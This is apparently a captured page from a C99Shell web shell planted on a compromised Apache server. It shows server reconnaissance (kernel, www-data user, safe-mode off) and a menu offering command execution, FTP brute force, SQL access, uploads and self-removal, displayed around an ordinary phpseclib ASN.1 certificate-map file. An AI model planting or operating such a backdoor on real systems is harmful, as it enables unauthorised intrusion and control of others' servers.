!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/phpseclib/phpseclib/phpseclib/File/ASN1/Maps/   drwxr-xr-x
Free 13.34 GB of 57.97 GB (23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TBSCertificate.php (2.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * TBSCertificate
 *
 * PHP version 5
 *
 * @category  File
 * @package   ASN1
 * @author    Jim Wigginton <terrafrost@php.net>
 * @copyright 2016 Jim Wigginton
 * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
 * @link      http://phpseclib.sourceforge.net
 */

namespace phpseclib3\File\ASN1\Maps;

use 
phpseclib3\File\ASN1;

/**
 * TBSCertificate
 *
 * @package ASN1
 * @author  Jim Wigginton <terrafrost@php.net>
 * @access  public
 */
abstract class TBSCertificate
{
    
// assert($TBSCertificate['children']['signature'] == $Certificate['children']['signatureAlgorithm'])
    
const MAP = [
        
'type'     => ASN1::TYPE_SEQUENCE,
        
'children' => [
            
// technically, default implies optional, but we'll define it as being optional, none-the-less, just to
            // reenforce that fact
            
'version'             => [
                                         
'type'    => ASN1::TYPE_INTEGER,
                                         
'constant' => 0,
                                         
'optional' => true,
                                         
'explicit' => true,
                                         
'mapping' => ['v1''v2''v3'],
                                         
'default'  => 'v1'
                                     
],
            
'serialNumber'         => CertificateSerialNumber::MAP,
            
'signature'            => AlgorithmIdentifier::MAP,
            
'issuer'               => Name::MAP,
            
'validity'             => Validity::MAP,
            
'subject'              => Name::MAP,
            
'subjectPublicKeyInfo' => SubjectPublicKeyInfo::MAP,
            
// implicit means that the T in the TLV structure is to be rewritten, regardless of the type
            
'issuerUniqueID'       => [
                                           
'constant' => 1,
                                           
'optional' => true,
                                           
'implicit' => true
                                       
] + UniqueIdentifier::MAP,
            
'subjectUniqueID'       => [
                                           
'constant' => 2,
                                           
'optional' => true,
                                           
'implicit' => true
                                       
] + UniqueIdentifier::MAP,
            
// <http://tools.ietf.org/html/rfc2459#page-74> doesn't use the EXPLICIT keyword but if
            // it's not IMPLICIT, it's EXPLICIT
            
'extensions'            => [
                                           
'constant' => 3,
                                           
'optional' => true,
                                           
'explicit' => true
                                       
] + Extensions::MAP
        
]
    ];
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--